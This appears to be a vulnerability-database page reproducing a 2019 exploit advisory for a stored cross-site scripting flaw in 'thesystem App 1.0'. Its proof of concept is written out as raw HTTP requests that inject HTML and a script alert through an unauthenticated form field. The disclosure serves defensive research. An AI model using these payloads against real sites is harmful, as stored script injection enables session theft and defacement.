Lucene search
K

thesystem App 1.0 Cross Site Scripting

🗓️ 27 Sep 2019 00:00:00Reported by Ismail GungorType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 200 Views

thesystem App 1.0 Persistent Cross-Site Scripting after login bypas

Code
`# Exploit Title: thesystem App 1.0 - Persistent Cross-Site Scripting  
# Author: İsmail Güngör   
# Discovery Date: 2019-09-26   
# Vendor Homepage: https://github.com/kostasmitroglou/thesystem   
# Software Link: https://github.com/kostasmitroglou/thesystem   
# Tested Version: 1.0   
# Tested on OS: Windows 10   
# CVE: N/A   
  
# Description:   
# Stored XSS after login bypass(login_required didn't used)   
  
First of all following request is sent web server   
  
POST /data/ HTTP/1.1   
Host: 127.0.0.1:8000   
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0   
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8   
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3   
Accept-Encoding: gzip, deflate   
Content-Type: multipart/form-data; boundary=---------------------------191691572411478   
Content-Length: 332   
Connection: close   
Referer: http://127.0.0.1:8000/data/   
Cookie: csrftoken=Mss47G2ILybbQoFYXpVPlWNaUzGQ5yKoXGRPucrKIG4gz5X9TVEPQJtItbqN9SM6; _ga=GA1.4.567905900.1569231977   
Upgrade-Insecure-Requests: 1   
  
-----------------------------191691572411478   
Content-Disposition: form-data; name="csrfmiddlewaretoken"   
  
0sryZfN7NDe4UUwhjehPQxPRtaMSq85nbGQjmLc9KL79DBOsfK0Plkvp2MwPus75   
-----------------------------191691572411478   
Content-Disposition: form-data; name="server_name"   
  
<h1>test   
-----------------------------191691572411478--   
  
After following request is sent web server   
  
GET /show_search/ HTTP/1.1   
Host: 127.0.0.1:8000   
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0   
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8   
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3   
Accept-Encoding: gzip, deflate   
Connection: close   
Referer: http://127.0.0.1:8000/data/   
Cookie: csrftoken=Mss47G2ILybbQoFYXpVPlWNaUzGQ5yKoXGRPucrKIG4gz5X9TVEPQJtItbqN9SM6; _ga=GA1.4.567905900.1569231977   
Upgrade-Insecure-Requests: 1   
  
# Finally, response is shown Xtored XSS:   
  
HTTP/1.1 200 OK   
Date: Thu, 26 Sep 2019 12:25:19 GMT   
Server: WSGIServer/0.2 CPython/3.5.3   
Content-Type: text/html; charset=utf-8   
X-Frame-Options: SAMEORIGIN   
Content-Length: 176   
  
('2019-09-26 14:25:01.878572', '1')('2019-09-26 15:16:11.013642', '1')('2019-09-26 15:21:52.962785', '<h1>test')('2019-09-26 15:23:50.367709', '<script>alert("kale")</script>')   
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

27 Sep 2019 00:00Current
7.4High risk
Vulners AI Score7.4
200